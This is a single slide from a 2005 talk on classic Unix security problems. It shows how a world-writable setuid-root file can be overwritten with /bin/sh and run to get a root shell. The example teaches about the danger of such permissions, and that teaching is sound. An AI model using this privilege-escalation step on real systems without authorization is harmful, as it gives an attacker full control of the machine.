Next Classic Unix Security Problems 6

setuid problems

        % ls -l /usr/local/lib/something
        -rwsrwxrwx    1 root     wheel        12668 Feb 28  2001 /usr/local/lib/something
        % cp /bin/sh /usr/local/lib/something
        % /usr/local/lib/something
        # anything

Next Copyright © 2005 M. J. Dominus